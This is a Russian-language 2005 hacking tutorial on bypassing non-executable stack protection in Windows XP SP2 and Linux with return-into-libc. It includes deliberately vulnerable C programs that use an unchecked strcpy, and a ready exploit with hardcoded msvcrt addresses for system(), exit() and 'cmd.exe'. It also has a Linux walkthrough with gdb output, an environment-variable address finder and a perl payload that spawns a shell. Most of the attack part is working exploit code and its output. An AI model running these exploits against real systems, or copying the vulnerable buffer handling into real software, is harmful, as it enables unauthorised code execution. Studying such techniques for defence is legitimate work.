03.01.2005

Обход защиты в WinXP SP2 или Linux от исполнения кода в стеке

Всем известно, что техника переполнения заключается в следующем: запихивание в буфер зловредного кода и последующая подмена адреса возврата на функцию. Т.е. после удачного переполнения, этот самый зловредный код будет исполнен. Также всем известно, что зловредный код в момент переполнения находится в стеке, как и все данные. Все бы хорошо, да в новом дополнении к системе Windows XP встроена защита от исполнения кода в стеке. Несомненно, это довольно большой плюс к системам корпорации Microsoft. Эта защита полностью искоренит проблему с переполнениями буфера, основанными на исполнении кода посредством стека. Но не уберет ее вовсе!

by Dark Eagle
1. Обход защиты в WinXP SP2 от исполнения кода в стеке.
2. Обход защиты в Linux от исполнения кода в стеке.
3. Заключение.
[1]. Обход защиты в WinXP SP2 от исполнения кода в стеке.

Я думаю, многие из вас знают, что такое переполнение буфера. Надеюсь, многие читали про переполнение в Win32 системах. Хотя в принципе, оно мало чем отличается от переполнения в *nix системах. Разве что шеллкодом, да и проблемами с адресами.

Всем известно, что техника переполнения заключается в следующем: запихивание в буфер зловредного кода и последующая подмена адреса возврата на функцию. Т.е. после удачного переполнения, этот самый зловредный код будет исполнен. Также всем известно, что зловредный код в момент переполнения находится в стеке, как и все данные. Все бы хорошо, да в новом дополнении к системе Windows XP встроена защита от исполнения кода в стеке. Несомненно, это довольно большой плюс к системам корпорации Microsoft. Эта защита полностью искоренит проблему с переполнениями буфера, основанными на исполнении кода посредством стека. Но не уберет ее вовсе!

От слов предлагаю перейти к практике.

Сегодня нам понадобятся: отладчик OllyDbg 1.10, дизассемблер Win32Dasm, компилятор C/C++ (я использовал Borland C++ 5.05), Блокнот.

В начале я бы хотел рассмотреть пример уязвимой программы на переполнение буфера и пример эксплоита к ней, основанном на исполнении кода в стеке. Рассмотрим пример.

[----------------------vuln1.cpp-----------------------------]
#include <stdio.h>
#include <string.h>
#include <windows.h>

int main(int argc, char **argv) {

char buf[30];

strcpy(buf,argv[1]);
printf("argv = %s\n\n", buf);
return 0;
}
 [------------------------vuln1.cpp-----------------------------]
Из вышеприведенного примера видно, что данная программа уязвима к переполнению буфера. Теперь откомпилируйте ее.

Загрузите уязвимую программу в отладчик. И введите длинный аргумент.

Как видно из рисунка, мы переполнили буфер. И значение регистра EIP изменилось на 41414141. Дело в том, что Microsoft встроило защиту от исполнения кода в стеке. Поэтому если мы сейчас, скажем, напишем эксплоит, который будет помещать код в стек, а далее перезаписывать EIP на адрес зловредного кода, то ничего не выйдет!

                                Пример стандартного эксплоита
[---------------------------s_exp.cpp-----------------------------]
#include <stdio.h>
#include <string.h>
#include <windows.h>

char shellcode[] = "shellc0d3";

int main()
{
char buf[200];
char exec[600];
char *p;
int i;

p = buf;
memset(buf, 0x00, 200);
memset(buf, 0x41, 40);
memcpy(buf+40, &shellcode, sizeof(shellcode));

for ( i = 32; i <= 36; i +=4 )
*(long*)(p+i) = 0x7C82385D; // call esp [kernel32.dll]

sprintf(exec, "./vuln %s", buf);

system(exec);
}
[--------------------------s_exp.cpp------------------]
Обход же данной защиты осуществляется путем не запихивания кода в стек, шеллкод мы вообще не будем писать. Все что нам нужно будет, так это адреса некоторых функций системы WinXP SP2. Забегу вперед и скажу, что нам понадобятся адреса командных функций. Таких как system(); WinExec(); и т.д. Едем дальше.

Я думаю, многие из вас знают, что адреса функций, некоторых аргументов и т.д. расположены в системных библиотеках. В нашем случае эти адреса расположены в msvcrt.dll. Для примера эксплуатации я буду использовать функцию system(); Конечно так же можно использовать и функцию WinExec(); Функции system(); в качестве единственного параметра мы передадим "cmd.exe" для того, чтобы запустить командную строку.

Давайте выясним, как же нам найти эти самые адреса? Ну, во-первых, их естественно нужно искать в библиотеке. В нашем случае это msvcrt.dll. Искать адреса будет через отладчик Win32Dasm. Запустите его и укажите в качестве открываемого файла нашу библиотеку.

В строке отыщите адрес функции system().

Итак, адрес system у нас имеется, он равен 0x77C193C7.

Теперь таким же способом отыщите адрес функции exit(). В моем случае адрес exit() равен 0x77C29E7E.

Дело за малым. Осталось только найти адрес аргумента для system(); В нашем случае - это "cmd.exe". Для этого откроем нашу библиотеку в OllyDbg и поищем там.

Я нашел "cmd.exe" по адресу 0x77C01F94.

Наше дело теперь сводится к правильному расположению этих данных в буфере и последующей отсылке этих данных нашей уязвимой программе.

Наши данные будут выглядеть примерно так:

[DATA-TO-OVERFLOW-BUFFER][ADDR-OF-SYSTEM][ADDR-OF-EXIT][ADDR-OF-ARG]

Скажу лишь то, что данные, которые переполнят буфер, должны быть минимальны. То есть нужно найти значение, при котором переполнение происходит, но не перезаписывает EIP! А если добавить 4 байта, то значение EIP должно перезаписаться. В нашем случае наш буфера равен 30 байт. Тогда для того чтобы перезаписать EIP нам нужно 40 байт, вычитаем 4 байта и получаем 36. Едем далее… Ах да, забыл сказать… Единственная проблема у нас возникает в том, что мы используем адрес system(), который расположен в библиотеке msvcrt.dll, но если эта библиотека не загружена в уязвимой программе, то все наши старания катятся к черту. Но тут так же есть выход! Можно использовать альтернативную system(); функцию WinAPI WinExec(); Эта функция расположена в библиотеке kernel32.dll, а эта библиотека, как я думаю, вы знаете, всегда подгружена в исполняемой программе. Ну, с WinExec() я думаю, вы и сами разберетесь. В данный момент моя задача показать пример обхода, посредством другой техники, нежели переполнение с исполнением кода в стеке.

Поэтому давайте добавим в нашу уязвимую программу функцию подгрузки библиотеки msvcrt.dll

[---------------------------vuln1.cpp-----------------------]
#include <stdio.h>
#include <string.h>
#include <windows.h>

int main(int argc, char **argv) {

char buf[30];

LoadLibrary("msvcrt.dll");

strcpy(buf,argv[1]);
printf("argv = %s\n\n", buf);
return 0;

}
[------------------------vuln1.cpp-------------------------]
Итак, все данные, которые нам нужны, у нас уже имеются.… Осталось написать эксплоит. В качестве первого примера постараюсь вам показать все наглядно посредством передачи одного целого параметра в командную строку!

Пример:

[--------------------------exp.cpp-------------------------]
#include <stdio.h>

#include <string.h>
#include <windows.h>

int main()
{
// 0x77C193C7; // our system() addr...
// 0x77C29E7E; // our exit() addr...
// 0x77C01F94; // cmd.exe addr...

char exec[1000]="vuln1.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xC7\x93\xC1"
"\x77\x7E\x9E\xC2\x77\x94\x1F\xC0\x77";
system(exec);

return 0;
}
[---------------------exp.cpp---------------------]

Как видно из рисунка, все работает замечательно! На этом с Win32 прощаемся и переходим к Linux.

[2]. Обход защиты в Linux от исполнения кода в стеке.

В Linux метод обхода защиты от исполнения кода в стеке схож с методами в Win32. Я постараюсь, как можно внятнее рассказать технику в Linux. Итак, приступим.

Для начала давайте разберемся, что нам нужно для правильной эксплуатации.

Как и в Win32 нам понадобится адрес функции system, адрес оболочки "/bin/sh" или какой-либо другой системной оболочки.

Рассмотрим пример уязвимой программы:


[------------------------u_vuln.c--------------]
#include <stdio.h>

int main(int argc, char* argv[])
{
char buf[20];
strcpy(buf, argv[1]);
return 0;
}
[-------------------u_vuln.c-------------]
Вышеприведенный пример уязвим к переполнению буфера. Предположим, что наша система защищена отличным ядерным модулем от dev0id'a. Его модуль не даст нам исполнить код в стеке. Поэтому действуем, так же как и в Win32.

Для начала хочу показать схему, по которой будут располагаться наши данные.

 _______________________ ______________ ______________ ________
|DATA-TO-OVERFLOW-BUFFER|   system()   |  return addr | argv[] |
|________|______________|______________|______________|________|
Данные, которые будут переполнять буфер нужно подобрать путем перебора в gdb, пока не изменится значение EIP на входящие данные (как в Win32). Я нашел это значение - 44 байт.
[root@localhost RetLibc]# gdb vuln
....
(gdb) r `perl -e 'print "A"x45'`
Starting program: /home/RetLibc/vuln `perl -e 'print "A"x45'`

Program received signal SIGSEGV, Segmentation fault.
0x40030041 in ?? () from /lib/tls/libc.so.6
            ^^
(gdb) r `perl -e 'print "A"x44'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/RetLibc/vuln `perl -e 'print "A"x44'`

Program received signal SIGSEGV, Segmentation fault.
0x4003f900 in __libc_start_main () from /lib/tls/libc.so.6
(gdb)
Едем далее... Теперь наша задача найти адрес system(). Для этого напишем простенький пример.
[-------------------system.c-----------------]
int main()
{
system();
}
[----------------system.c--------------------]
Так... Компилируем.
[root@localhost RetLibc]# gcc system.c -o system
[root@localhost RetLibc]# gdb system
....
(gdb) break main
Breakpoint 1 at 0x8048362
(gdb) r
Starting program: /home/RetLibc/system

Breakpoint 1, 0x08048362 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40068f40 <system>
(gdb)
Итак, адрес system() найден. Он равен 0x40068f40.

Как можно заметить далее идет "return addr", это адрес возврата. В нашем случае его можно указать любым. Так как, после удачного эксплуатирования мы получим шелл, а после выхода из шелла, уязвимая программа в случае некорректного адреса возврата из функции может упасть в "core", но нам по сути никакого дела до этого нет. Пусть она падает... Но если же вы хотите, чтобы программа не упала, укажите корректный адрес.

И так, в нашем случае адрес возврата укажем как 0x41414141.

Едем далее... Теперь наша задача состоит в том, чтобы указать адрес аргумента... В нашем случае аргументом может быть "/bin/sh" или что-либо другое.

Где же все-таки найти этот адрес??? Я покажу пример с использованием "переменных окружения"... Итак, для начала напишем программу, которая будет выгребать адрес какой-либо переменной окружения.

 
[---------------------@env.c-----------------------]
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
char *addr_ptr;
addr_ptr = getenv(argv[1]);
printf("%s @ %p\n", argv[1], addr_ptr);
return 0;
}
[------------------@env.c-------------------------]
[root@localhost RetLibc]# export SH="/bin/sh"
[root@localhost RetLibc]# gcc @env.c -o env
@env.c: In function `main':
@env.c:7: warning: assignment makes pointer from integer without a cast
[root@localhost RetLibc]# ./env SH
SH @ 0xbffffe60
[root@localhost RetLibc]#
Такс... Вот и все. Мы нашли адрес 0xbffffe60. По этому адресу располагается оболочка системы. Дело за малым. Остается только все наши данные запихать в уязвимую программу....

Схема приобрела вид.

 ___________________ ____________ ____________ ___________
|AAAAAAAAAAA....(44)| 0x40068f40 | 0x41414141 | 0xbffffe39|
|___________________|____________|____________|___________|
Итак... Введем все наше добро в строку...
[root@localhost RetLibc]# ./vuln 
`perl -e 'print "A"x44 . "\x40\x8f\x06\x40\x41\x41\x41\x41\x60\xfe\xff\xbf"'`
sh-2.05b$ exit
Segmentation fault (core dumped)
[root@localhost RetLibc]#
Как видно метод работает отлично... Вот впринципе и все....

[3]. Заключение.

Вышесказанного материала вполне хватит для начала. Из документаций я бы хотел привести следующее…

Доки:

1.Kids Buffer Overflow Paper by Dark Eagle [ SecurityLab ]

2.Advanced return-into-lib(c) exploits (PaX case study) by nergal [ Phrack #58 ]

P.S. все примеры кодов можно скачать отсюда Unl0ck.Void.Ru

или введите имя

CAPTCHA